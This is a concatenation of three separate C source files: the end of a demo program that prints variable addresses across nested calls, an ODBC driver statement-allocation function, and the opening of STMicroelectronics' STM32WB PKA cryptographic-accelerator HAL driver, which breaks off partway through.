}
void func2(){
int i = 7;
printf("\t\t[in func2] i @ 0x%08x = %d\n",&i,i);
printf("\t\t[in func2] j @ 0x%08x = %d\n",&j,j);
printf("\t\t[in func2] setting j = 1337\n");
j = 1337;
func3();
printf("\t\t[back in func2] i @ 0x%08x = %d\n",&i,i);
printf("\t\t[back in func2] j @ 0x%08x = %d\n",&j,j);
}
void func1(){
int i = 5;
printf("\t[in func1] i @ 0x%08x = %d\n",&i,i);
printf("\t[in func1] j @ 0x%08x = %d\n",&j,j);
func2();
printf("\t[back in func1] i @ 0x%08x = %d\n",&i,i);
printf("\t[back in func1] j @ 0x%08x = %d\n",&j,j);
}
int main(){
int i = 3;
printf("[in main] i @ 0x%08x = %d\n",&i,i);
printf("[in main] j @ 0x%08x = %d\n",&j,j);
func1();
printf("[back in main] i @ 0x%08x = %d\n",&i,i);
printf("[back in main] j @ 0x%08x = %d\n",&j,j);
}
|
598186.c | /**********************************************************************
* _AllocStmt (deprecated)
*
**********************************************************************
*
* This code was created by Peter Harvey (mostly during Christmas 98/99).
* This code is LGPL. Please ensure that this message remains in future
* distributions and uses of this code (thats about all I get out of it).
* - Peter Harvey [email protected]
*
**********************************************************************/
#include <config.h>
#include "driver.h"
SQLRETURN _AllocStmt( SQLHDBC hDrvDbc,
SQLHSTMT *phDrvStmt )
{
HDRVDBC hDbc = (HDRVDBC)hDrvDbc;
HDRVSTMT *phStmt = (HDRVSTMT*)phDrvStmt;
/* SANITY CHECKS */
if( hDbc == SQL_NULL_HDBC )
{
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, "SQL_INVALID_HANDLE" );
return SQL_INVALID_HANDLE;
}
sprintf( hDbc->szSqlMsg, "hDbc = $%08lX", hDbc );
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, hDbc->szSqlMsg );
if( NULL == phStmt )
{
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, "SQL_ERROR phStmt=NULL" );
return SQL_ERROR;
}
/* OK */
/* allocate memory */
*phStmt = malloc( sizeof(DRVSTMT) );
if( SQL_NULL_HSTMT == *phStmt )
{
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, "SQL_ERROR memory allocation failure" );
return SQL_ERROR;
}
/* initialize memory */
sprintf( hDbc->szSqlMsg, "*phstmt = $%08lX", *phStmt );
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, hDbc->szSqlMsg );
memset( *phStmt, 0, sizeof(DRVSTMT) ); /* SAFETY */
(*phStmt)->hDbc = (SQLPOINTER)hDbc;
(*phStmt)->hLog = NULL;
(*phStmt)->hStmtExtras = NULL;
(*phStmt)->pNext = NULL;
(*phStmt)->pPrev = NULL;
(*phStmt)->pszQuery = NULL;
sprintf( (*phStmt)->szCursorName, "CUR_%08lX", *phStmt );
/* ADD TO DBCs STATEMENT LIST */
/* start logging */
if ( logOpen( &(*phStmt)->hLog, SQL_DRIVER_NAME, NULL, 50 ) )
{
logOn( (*phStmt)->hLog, 1 );
logPushMsg( (*phStmt)->hLog, __FILE__, __FILE__, __LINE__, LOG_WARNING, LOG_WARNING, "Statement logging allocated ok" );
}
else
(*phStmt)->hLog = NULL;
/* ADD TO END OF LIST */
if ( hDbc->hFirstStmt == NULL )
{
/* 1st is null so the list is empty right now */
hDbc->hFirstStmt = (*phStmt);
hDbc->hLastStmt = (*phStmt);
}
else
{
/* at least one node in list */
hDbc->hLastStmt->pNext = (SQLPOINTER)(*phStmt);
(*phStmt)->pPrev = (SQLPOINTER)hDbc->hLastStmt;
hDbc->hLastStmt = (*phStmt);
}
/****************************************************************************/
/* ALLOCATE AND INIT DRIVER EXTRAS HERE */
(*phStmt)->hStmtExtras = malloc(sizeof(STMTEXTRAS));
memset( (*phStmt)->hStmtExtras, 0, sizeof(STMTEXTRAS) ); /* SAFETY */
(*phStmt)->hStmtExtras->aResults = NULL;
(*phStmt)->hStmtExtras->nCols = 0;
(*phStmt)->hStmtExtras->nRow = 0;
(*phStmt)->hStmtExtras->nRows = 0;
/****************************************************************************/
logPushMsg( hDbc->hLog, __FILE__, __FILE__, __LINE__, LOG_INFO, LOG_INFO, "SQL_SUCCESS" );
return SQL_SUCCESS;
}
|
251705.c | /**
******************************************************************************
* @file stm32wbxx_hal_pka.c
* @author MCD Application Team
* @brief PKA HAL module driver.
* This file provides firmware functions to manage the following
* functionalities of public key accelerator(PKA):
* + Initialization and de-initialization functions
* + Start an operation
* + Retrieve the operation result
*
@verbatim
==============================================================================
##### How to use this driver #####
==============================================================================
[..]
The PKA HAL driver can be used as follows:
(#) Declare a PKA_HandleTypeDef handle structure, for example: PKA_HandleTypeDef hpka;
(#) Initialize the PKA low level resources by implementing the HAL_PKA_MspInit() API:
(##) Enable the PKA interface clock
(##) NVIC configuration if you need to use interrupt process
(+++) Configure the PKA interrupt priority
(+++) Enable the NVIC PKA IRQ Channel
(#) Initialize the PKA registers by calling the HAL_PKA_Init() API which trig
HAL_PKA_MspInit().
(#) Fill entirely the input structure corresponding to your operation:
For instance: PKA_ModExpInTypeDef for HAL_PKA_ModExp().
(#) Execute the operation (in polling or interrupt) and check the returned value.
(#) Retrieve the result of the operation (For instance, HAL_PKA_ModExp_GetResult for
HAL_PKA_ModExp operation). The function to gather the result is different for each
kind of operation. The correspondence can be found in the following section.
(#) Call the function HAL_PKA_DeInit() to restore the default configuration which trig
HAL_PKA_MspDeInit().
*** High level operation ***
=================================
[..]
(+) Input structure requires buffers as uint8_t array.
(+) Output structure requires buffers as uint8_t array.
(+) Modular exponentiation using:
(++) HAL_PKA_ModExp().
(++) HAL_PKA_ModExp_IT().
(++) HAL_PKA_ModExpFastMode().
(++) HAL_PKA_ModExpFastMode_IT().
(++) HAL_PKA_ModExp_GetResult() to retrieve the result of the operation.
(+) RSA Chinese Remainder Theorem (CRT) using:
(++) HAL_PKA_RSACRTExp().
(++) HAL_PKA_RSACRTExp_IT().
(++) HAL_PKA_RSACRTExp_GetResult() to retrieve the result of the operation.
(+) ECC Point Check using:
(++) HAL_PKA_PointCheck().
(++) HAL_PKA_PointCheck_IT().
(++) HAL_PKA_PointCheck_IsOnCurve() to retrieve the result of the operation.
(+) ECDSA Sign
(++) HAL_PKA_ECDSASign().
(++) HAL_PKA_ECDSASign_IT().
(++) HAL_PKA_ECDSASign_GetResult() to retrieve the result of the operation.
(+) ECDSA Verify
(++) HAL_PKA_ECDSAVerif().
(++) HAL_PKA_ECDSAVerif_IT().
(++) HAL_PKA_ECDSAVerif_IsValidSignature() to retrieve the result of the operation.
(+) ECC Scalar Multiplication using:
(++) HAL_PKA_ECCMul().
(++) HAL_PKA_ECCMul_IT().
(++) HAL_PKA_ECCMulFastMode().
(++) HAL_PKA_ECCMulFastMode_IT().
(++) HAL_PKA_ECCMul_GetResult() to retrieve the result of the operation.
*** Low level operation ***
=================================
[..]
(+) Input structure requires buffers as uint32_t array.
(+) Output structure requires buffers as uint32_t array.
(+) Arithmetic addition using:
(++) HAL_PKA_Add().
(++) HAL_PKA_Add_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
The resulting size can be the input parameter or the input parameter size + 1 (overflow).
(+) Arithmetic substraction using:
(++) HAL_PKA_Sub().
(++) HAL_PKA_Sub_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Arithmetic multiplication using:
(++) HAL_PKA_Mul().
(++) HAL_PKA_Mul_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Comparison using:
(++) HAL_PKA_Cmp().
(++) HAL_PKA_Cmp_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Modular addition using:
(++) HAL_PKA_ModAdd().
(++) HAL_PKA_ModAdd_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Modular substraction using:
(++) HAL_PKA_ModSub().
(++) HAL_PKA_ModSub_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Modular inversion using:
(++) HAL_PKA_ModInv().
(++) HAL_PKA_ModInv_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Modular reduction using:
(++) HAL_PKA_ModRed().
(++) HAL_PKA_ModRed_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
(+) Montgomery multiplication using:
(++) HAL_PKA_MontgomeryMul().
(++) HAL_PKA_MontgomeryMul_IT().
(++) HAL_PKA_Arithmetic_GetResult() to retrieve the result of the operation.
*** Montgomery parameter ***
=================================
(+) For some operation, the computation of the Montgomery parameter is a prerequisite.
(+) Input structure requires buffers as uint8_t array.
(+) Output structure requires buffers as uint32_t array.(Only used inside PKA).
(+) You can compute the Montgomery parameter using:
(++) HAL_PKA_MontgomeryParam().
(++) HAL_PKA_MontgomeryParam_IT().
(++) HAL_PKA_MontgomeryParam_GetResult() to retrieve the result of the operation.
(+) You can save computation time by storing this parameter for a later usage.
Use it again with HAL_PKA_MontgomeryParam_Set();
*** Polling mode operation ***
===================================
[..]
(+) When an operation is started in polling mode, the function returns when:
(++) A timeout is encounter.
(++) The operation is completed.
*** Interrupt mode operation ***
===================================
[..]
(+) Add HAL_PKA_IRQHandler to the IRQHandler of PKA.
(+) Enable the IRQ using HAL_NVIC_EnableIRQ().
(+) When an operation is started in interrupt mode, the function returns immediatly.
(+) When the operation is completed, the callback HAL_PKA_OperationCpltCallback is called.
(+) When an error is encountered, the callback HAL_PKA_ErrorCallback is called.
(+) To stop any operation in interrupt mode, use HAL_PKA_Abort().
*** Utilities ***
===================================
[..]
(+) To clear the PKA RAM, use HAL_PKA_RAMReset().
(+) To get current state, use HAL_PKA_GetState().
(+) To get current error, use HAL_PKA_GetError().
*** Callback registration ***
=============================================
[..]
The compilation flag USE_HAL_PKA_REGISTER_CALLBACKS, when set to 1,
allows the user to configure dynamically the driver callbacks.
Use Functions @ref HAL_PKA_RegisterCallback()
to register an interrupt callback.
[..]
Function @ref HAL_PKA_RegisterCallback() allows to register following callbacks:
(+) OperationCpltCallback : callback for End of operation.
(+) ErrorCallback : callback for error detection.
(+) MspInitCallback : callback for Msp Init.
(+) MspDeInitCallback : callback for Msp DeInit.
This function takes as parameters the HAL peripheral handle, the Callback ID
and a pointer to the user callback function.
[..]
Use function @ref HAL_PKA_UnRegisterCallback to reset a callback to the default
weak function.
[..]
@ref HAL_PKA_UnRegisterCallback takes as parameters the HAL peripheral handle,
and the Callback ID.
This function allows to reset following callbacks:
(+) OperationCpltCallback : callback for End of operation.
(+) ErrorCallback : callback for error detection.
(+) MspInitCallback : callback for Msp Init.
(+) MspDeInitCallback : callback for Msp DeInit.
[..]
By default, after the @ref HAL_PKA_Init() and when the state is @ref HAL_PKA_STATE_RESET
all callbacks are set to the corresponding weak functions:
examples @ref HAL_PKA_OperationCpltCallback(), @ref HAL_PKA_ErrorCallback().
Exception done for MspInit and MspDeInit functions that are
reset to the legacy weak functions in the @ref HAL_PKA_Init()/ @ref HAL_PKA_DeInit() only when
these callbacks are null (not registered beforehand).
[..]
If MspInit or MspDeInit are not null, the @ref HAL_PKA_Init()/ @ref HAL_PKA_DeInit()
keep and use the user MspInit/MspDeInit callbacks (registered beforehand) whatever the state.
[..]
Callbacks can be registered/unregistered in @ref HAL_PKA_STATE_READY state only.
Exception done MspInit/MspDeInit functions that can be registered/unregistered
in @ref HAL_PKA_STATE_READY or @ref HAL_PKA_STATE_RESET state,
thus registered (user) MspInit/DeInit callbacks can be used during the Init/DeInit.
[..]
Then, the user first registers the MspInit/MspDeInit user callbacks
using @ref HAL_PKA_RegisterCallback() before calling @ref HAL_PKA_DeInit()
or @ref HAL_PKA_Init() function.
[..]
When the compilation flag USE_HAL_PKA_REGISTER_CALLBACKS is set to 0 or
not defined, the callback registration feature is not available and all callbacks
are set to the corresponding weak functions.
@endverbatim
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
/* Includes ------------------------------------------------------------------*/
#include "stm32wbxx_hal.h"
/** @addtogroup STM32WBxx_HAL_Driver
* @{
*/
#if defined(PKA) && defined(HAL_PKA_MODULE_ENABLED)
/** @defgroup PKA PKA
* @brief PKA HAL module driver.
* @{
*/
/* Private typedef -----------------------------------------------------------*/
/* Private define ------------------------------------------------------------*/
/** @defgroup PKA_Private_Define PKA Private Define
* @{
*/
#define PKA_RAM_SIZE 894U
/**
* @}
*/
/* Private macro -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private function prototypes -----------------------------------------------*/
/** @defgroup PKA_Private_Functions PKA Private Functions
* @{
*/
uint32_t PKA_GetMode(PKA_HandleTypeDef *hpka);
HAL_StatusTypeDef PKA_PollEndOfOperation(PKA_HandleTypeDef *hpka, uint32_t Timeout, uint32_t Tickstart);
uint32_t PKA_CheckError(PKA_HandleTypeDef *hpka, uint32_t mode);
uint32_t PKA_GetBitSize_u8(uint32_t byteNumber);
uint32_t PKA_GetOptBitSize_u8(uint32_t byteNumber, uint8_t msb);
uint32_t PKA_GetBitSize_u32(uint32_t wordNumber);
uint32_t PKA_GetArraySize_u8(uint32_t bitSize);
void PKA_Memcpy_u32_to_u8(uint8_t dst[], __IO const uint32_t src[], size_t n);
void PKA_Memcpy_u8_to_u32(__IO uint32_t dst[], const uint8_t src[], size_t n);
void PKA_Memcpy_u32_to_u32(__IO uint32_t dst[], __IO const uint32_t src[], size_t n);
HAL_StatusTypeDef PKA_Process(PKA_HandleTypeDef *hpka, uint32_t mode, uint32_t Timeout);
HAL_StatusTypeDef PKA_Process_IT(PKA_HandleTypeDef *hpka, uint32_t mode);
void PKA_ModExp_Set(PKA_HandleTypeDef *hpka, PKA_ModExpInTypeDef *in);
void PKA_ModExpFastMode_Set(PKA_HandleTypeDef *hpka, PKA_ModExpFastModeInTypeDef *in);
void PKA_ECDSASign_Set(PKA_HandleTypeDef *hpka, PKA_ECDSASignInTypeDef *in);
void PKA_ECDSAVerif_Set(PKA_HandleTypeDef *hpka, PKA_ECDSAVerifInTypeDef *in);
void PKA_RSACRTExp_Set(PKA_HandleTypeDef *hpka, PKA_RSACRTExpInTypeDef *in);
void PKA_PointCheck_Set(PKA_HandleTypeDef *hpka, PKA_PointCheckInTypeDef *in);
void PKA_ECCMul_Set(PKA_HandleTypeDef *hpka, PKA_ECCMulInTypeDef *in);
void PKA_ECCMulFastMode_Set(PKA_HandleTypeDef *hpka, PKA_ECCMulFastModeInTypeDef *in);
void PKA_ModRed_Set(PKA_HandleTypeDef *hpka, PKA_ModRedInTypeDef *in);
void PKA_ModInv_Set(PKA_HandleTypeDef *hpka, PKA_ModInvInTypeDef *in);
void PKA_MontgomeryParam_Set(PKA_HandleTypeDef *hpka, const uint32_t size, const uint8_t *pOp1);
void PKA_ARI_Set(PKA_HandleTypeDef *hpka, const uint32_t size, const uint32_t *pOp1, const uint32_t *pOp2, const uint8_t *pOp3);
/**
* @}
*/
/* Exported functions --------------------------------------------------------*/
/** @defgroup PKA_Exported_Functions PKA Exported Functions
* @{
*/
/** @defgroup PKA_Exported_Functions_Group1 Initialization and de-initialization functions
* @brief Initialization and de-initialization functions
*
@verbatim
===============================================================================
##### Initialization and de-initialization functions #####
===============================================================================
[..] This subsection provides a set of functions allowing to initialize and
deinitialize the PKAx peripheral:
(+) User must implement HAL_PKA_MspInit() function in which he configures
all related peripherals resources (CLOCK, IT and NVIC ).
(+) Call the function HAL_PKA_Init() to configure the selected device with
the selected configuration:
(++) Security level
(+) Call the function HAL_PKA_DeInit() to restore the default configuration
of the selected PKAx peripheral.
@endverbatim
* @{
*/
/**
* @brief Initialize the PKA according to the specified
* parameters in the PKA_InitTypeDef and initialize the associated handle.
* @param hpka PKA handle
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_Init(PKA_HandleTypeDef *hpka)
{
HAL_StatusTypeDef err = HAL_OK;
/* Check the PKA handle allocation */
if (hpka != NULL)
{
/* Check the parameters */
assert_param(IS_PKA_ALL_INSTANCE(hpka->Instance));
if (hpka->State == HAL_PKA_STATE_RESET)
{
#if (USE_HAL_PKA_REGISTER_CALLBACKS == 1)
/* Init the PKA Callback settings */
hpka->OperationCpltCallback = HAL_PKA_OperationCpltCallback; /* Legacy weak OperationCpltCallback */
hpka->ErrorCallback = HAL_PKA_ErrorCallback; /* Legacy weak ErrorCallback */
if (hpka->MspInitCallback == NULL)
{
hpka->MspInitCallback = HAL_PKA_MspInit; /* Legacy weak MspInit */
}
/* Init the low level hardware */
hpka->MspInitCallback(hpka);
#else
/* Init the low level hardware */
HAL_PKA_MspInit(hpka);
#endif /* USE_HAL_PKA_REGISTER_CALLBACKS */
}
/* Set the state to busy */
hpka->State = HAL_PKA_STATE_BUSY;
/* Reset the control register and enable the PKA */
hpka->Instance->CR = PKA_CR_EN;
/* Reset any pending flag */
SET_BIT(hpka->Instance->CLRFR, PKA_CLRFR_PROCENDFC | PKA_CLRFR_RAMERRFC | PKA_CLRFR_ADDRERRFC);
/* Initialize the error code */
hpka->ErrorCode = HAL_PKA_ERROR_NONE;
/* Set the state to ready */
hpka->State = HAL_PKA_STATE_READY;
}
else
{
err = HAL_ERROR;
}
return err;
}
/**
* @brief DeInitialize the PKA peripheral.
* @param hpka PKA handle
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_DeInit(PKA_HandleTypeDef *hpka)
{
HAL_StatusTypeDef err = HAL_OK;
/* Check the PKA handle allocation */
if (hpka != NULL)
{
/* Check the parameters */
assert_param(IS_PKA_ALL_INSTANCE(hpka->Instance));
/* Set the state to busy */
hpka->State = HAL_PKA_STATE_BUSY;
/* Reset the control register */
/* This abort any operation in progress (PKA RAM content is not guaranted in this case) */
hpka->Instance->CR = 0;
/* Reset any pending flag */
SET_BIT(hpka->Instance->CLRFR, PKA_CLRFR_PROCENDFC | PKA_CLRFR_RAMERRFC | PKA_CLRFR_ADDRERRFC);
#if (USE_HAL_PKA_REGISTER_CALLBACKS == 1)
if (hpka->MspDeInitCallback == NULL)
{
hpka->MspDeInitCallback = HAL_PKA_MspDeInit; /* Legacy weak MspDeInit */
}
/* DeInit the low level hardware: GPIO, CLOCK, NVIC */
hpka->MspDeInitCallback(hpka);
#else
/* DeInit the low level hardware: CLOCK, NVIC */
HAL_PKA_MspDeInit(hpka);
#endif /* USE_HAL_PKA_REGISTER_CALLBACKS */
/* Reset the error code */
hpka->ErrorCode = HAL_PKA_ERROR_NONE;
/* Reset the state */
hpka->State = HAL_PKA_STATE_RESET;
}
else
{
err = HAL_ERROR;
}
return err;
}
/**
* @brief Initialize the PKA MSP.
* @param hpka PKA handle
* @retval None
*/
__weak void HAL_PKA_MspInit(PKA_HandleTypeDef *hpka)
{
/* Prevent unused argument(s) compilation warning */
UNUSED(hpka);
/* NOTE : This function should not be modified, when the callback is needed,
the HAL_PKA_MspInit can be implemented in the user file
*/
}
/**
* @brief DeInitialize the PKA MSP.
* @param hpka PKA handle
* @retval None
*/
__weak void HAL_PKA_MspDeInit(PKA_HandleTypeDef *hpka)
{
/* Prevent unused argument(s) compilation warning */
UNUSED(hpka);
/* NOTE : This function should not be modified, when the callback is needed,
the HAL_PKA_MspDeInit can be implemented in the user file
*/
}
#if (USE_HAL_PKA_REGISTER_CALLBACKS == 1)
/**
* @brief Register a User PKA Callback
* To be used instead of the weak predefined callback
* @param hpka Pointer to a PKA_HandleTypeDef structure that contains
* the configuration information for the specified PKA.
* @param CallbackID ID of the callback to be registered
* This parameter can be one of the following values:
* @arg @ref HAL_PKA_OPERATION_COMPLETE_CB_ID End of operation callback ID
* @arg @ref HAL_PKA_ERROR_CB_ID Error callback ID
* @arg @ref HAL_PKA_MSPINIT_CB_ID MspInit callback ID
* @arg @ref HAL_PKA_MSPDEINIT_CB_ID MspDeInit callback ID
* @param pCallback pointer to the Callback function
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_RegisterCallback(PKA_HandleTypeDef *hpka, HAL_PKA_CallbackIDTypeDef CallbackID, pPKA_CallbackTypeDef pCallback)
{
HAL_StatusTypeDef status = HAL_OK;
if (pCallback == NULL)
{
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
return HAL_ERROR;
}
if (HAL_PKA_STATE_READY == hpka->State)
{
switch (CallbackID)
{
case HAL_PKA_OPERATION_COMPLETE_CB_ID :
hpka->OperationCpltCallback = pCallback;
break;
case HAL_PKA_ERROR_CB_ID :
hpka->ErrorCallback = pCallback;
break;
case HAL_PKA_MSPINIT_CB_ID :
hpka->MspInitCallback = pCallback;
break;
case HAL_PKA_MSPDEINIT_CB_ID :
hpka->MspDeInitCallback = pCallback;
break;
default :
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
break;
}
}
else if (HAL_PKA_STATE_RESET == hpka->State)
{
switch (CallbackID)
{
case HAL_PKA_MSPINIT_CB_ID :
hpka->MspInitCallback = pCallback;
break;
case HAL_PKA_MSPDEINIT_CB_ID :
hpka->MspDeInitCallback = pCallback;
break;
default :
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
break;
}
}
else
{
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
}
return status;
}
/**
* @brief Unregister a PKA Callback
* PKA callback is redirected to the weak predefined callback
* @param hpka Pointer to a PKA_HandleTypeDef structure that contains
* the configuration information for the specified PKA.
* @param CallbackID ID of the callback to be unregistered
* This parameter can be one of the following values:
* @arg @ref HAL_PKA_OPERATION_COMPLETE_CB_ID End of operation callback ID
* @arg @ref HAL_PKA_ERROR_CB_ID Error callback ID
* @arg @ref HAL_PKA_MSPINIT_CB_ID MspInit callback ID
* @arg @ref HAL_PKA_MSPDEINIT_CB_ID MspDeInit callback ID
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_UnRegisterCallback(PKA_HandleTypeDef *hpka, HAL_PKA_CallbackIDTypeDef CallbackID)
{
HAL_StatusTypeDef status = HAL_OK;
if (HAL_PKA_STATE_READY == hpka->State)
{
switch (CallbackID)
{
case HAL_PKA_OPERATION_COMPLETE_CB_ID :
hpka->OperationCpltCallback = HAL_PKA_OperationCpltCallback; /* Legacy weak OperationCpltCallback */
break;
case HAL_PKA_ERROR_CB_ID :
hpka->ErrorCallback = HAL_PKA_ErrorCallback; /* Legacy weak ErrorCallback */
break;
case HAL_PKA_MSPINIT_CB_ID :
hpka->MspInitCallback = HAL_PKA_MspInit; /* Legacy weak MspInit */
break;
case HAL_PKA_MSPDEINIT_CB_ID :
hpka->MspDeInitCallback = HAL_PKA_MspDeInit; /* Legacy weak MspDeInit */
break;
default :
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
break;
}
}
else if (HAL_PKA_STATE_RESET == hpka->State)
{
switch (CallbackID)
{
case HAL_PKA_MSPINIT_CB_ID :
hpka->MspInitCallback = HAL_PKA_MspInit; /* Legacy weak MspInit */
break;
case HAL_PKA_MSPDEINIT_CB_ID :
hpka->MspDeInitCallback = HAL_PKA_MspDeInit; /* Legacy weak MspDeInit */
break;
default :
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
break;
}
}
else
{
/* Update the error code */
hpka->ErrorCode |= HAL_PKA_ERROR_INVALID_CALLBACK;
/* Return error status */
status = HAL_ERROR;
}
return status;
}
#endif /* USE_HAL_PKA_REGISTER_CALLBACKS */
/**
* @}
*/
/** @defgroup PKA_Exported_Functions_Group2 IO operation functions
* @brief IO operation functions
*
@verbatim
===============================================================================
##### IO operation functions #####
===============================================================================
[..]
This subsection provides a set of functions allowing to manage the PKA operations.
(#) There are two modes of operation:
(++) Blocking mode : The operation is performed in the polling mode.
These functions return when data operation is completed.
(++) No-Blocking mode : The operation is performed using Interrupts.
These functions return immediatly.
The end of the operation is indicated by HAL_PKA_ErrorCallback in case of error.
The end of the operation is indicated by HAL_PKA_OperationCpltCallback in case of success.
To stop any operation in interrupt mode, use HAL_PKA_Abort().
(#) Blocking mode functions are :
(++) HAL_PKA_ModExp()
(++) HAL_PKA_ModExpFastMode()
(++) HAL_PKA_ModExp_GetResult();
(++) HAL_PKA_ECDSASign()
(++) HAL_PKA_ECDSASign_GetResult();
(++) HAL_PKA_ECDSAVerif()
(++) HAL_PKA_ECDSAVerif_IsValidSignature();
(++) HAL_PKA_RSACRTExp()
(++) HAL_PKA_RSACRTExp_GetResult();
(++) HAL_PKA_PointCheck()
(++) HAL_PKA_PointCheck_IsOnCurve();
(++) HAL_PKA_ECCMul()
(++) HAL_PKA_ECCMulFastMode()
(++) HAL_PKA_ECCMul_GetResult();
(++) HAL_PKA_Add()
(++) HAL_PKA_Sub()
(++) HAL_PKA_Cmp()
(++) HAL_PKA_Mul()
(++) HAL_PKA_ModAdd()
(++) HAL_PKA_ModSub()
(++) HAL_PKA_ModInv()
(++) HAL_PKA_ModRed()
(++) HAL_PKA_MontgomeryMul()
(++) HAL_PKA_Arithmetic_GetResult(P);
(++) HAL_PKA_MontgomeryParam()
(++) HAL_PKA_MontgomeryParam_GetResult();
(#) No-Blocking mode functions with Interrupt are :
(++) HAL_PKA_ModExp_IT();
(++) HAL_PKA_ModExpFastMode_IT();
(++) HAL_PKA_ModExp_GetResult();
(++) HAL_PKA_ECDSASign_IT();
(++) HAL_PKA_ECDSASign_GetResult();
(++) HAL_PKA_ECDSAVerif_IT();
(++) HAL_PKA_ECDSAVerif_IsValidSignature();
(++) HAL_PKA_RSACRTExp_IT();
(++) HAL_PKA_RSACRTExp_GetResult();
(++) HAL_PKA_PointCheck_IT();
(++) HAL_PKA_PointCheck_IsOnCurve();
(++) HAL_PKA_ECCMul_IT();
(++) HAL_PKA_ECCMulFastMode_IT();
(++) HAL_PKA_ECCMul_GetResult();
(++) HAL_PKA_Add_IT();
(++) HAL_PKA_Sub_IT();
(++) HAL_PKA_Cmp_IT();
(++) HAL_PKA_Mul_IT();
(++) HAL_PKA_ModAdd_IT();
(++) HAL_PKA_ModSub_IT();
(++) HAL_PKA_ModInv_IT();
(++) HAL_PKA_ModRed_IT();
(++) HAL_PKA_MontgomeryMul_IT();
(++) HAL_PKA_Arithmetic_GetResult();
(++) HAL_PKA_MontgomeryParam_IT();
(++) HAL_PKA_MontgomeryParam_GetResult();
(++) HAL_PKA_Abort();
@endverbatim
* @{
*/
/**
* @brief Modular exponentiation in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModExp(PKA_HandleTypeDef *hpka, PKA_ModExpInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ModExp_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_EXP, Timeout);
}
/**
* @brief Modular exponentiation in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModExp_IT(PKA_HandleTypeDef *hpka, PKA_ModExpInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ModExp_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_EXP);
}
/**
* @brief Modular exponentiation in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModExpFastMode(PKA_HandleTypeDef *hpka, PKA_ModExpFastModeInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ModExpFastMode_Set(hpka, in);
/* Start the operation */
return PKA_Process(hpka, PKA_MODE_MODULAR_EXP_FAST_MODE, Timeout);
}
/**
* @brief Modular exponentiation in non-blocking mode with Interrupt.
* @param hpka PKA handle
* @param in Input information
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ModExpFastMode_IT(PKA_HandleTypeDef *hpka, PKA_ModExpFastModeInTypeDef *in)
{
/* Set input parameter in PKA RAM */
PKA_ModExpFastMode_Set(hpka, in);
/* Start the operation */
return PKA_Process_IT(hpka, PKA_MODE_MODULAR_EXP_FAST_MODE);
}
/**
* @brief Retrieve operation result.
* @param hpka PKA handle
* @param pRes Output buffer
* @retval HAL status
*/
void HAL_PKA_ModExp_GetResult(PKA_HandleTypeDef *hpka, uint8_t *pRes)
{
uint32_t size;
/* Indicate to the user the final size */
size = (hpka->Instance->RAM[PKA_MODULAR_EXP_IN_OP_NB_BITS] + 7UL) / 8UL;
/* Move the result to appropriate location (indicated in out parameter) */
PKA_Memcpy_u32_to_u8(pRes, &hpka->Instance->RAM[PKA_MODULAR_EXP_OUT_SM_ALGO_ACC1], size);
}
/**
* @brief Sign a message using elliptic curves over prime fields in blocking mode.
* @param hpka PKA handle
* @param in Input information
* @param Timeout Timeout duration
* @retval HAL status
*/
HAL_StatusTypeDef HAL_PKA_ECDSASign(PKA_HandleTypeDef *hpka, PKA_ECDSASignInTypeDef *in, uint32_t Timeout)
{
/* Set input parameter in PKA RAM */
PKA_ECDSASign_Set(hpka, in);
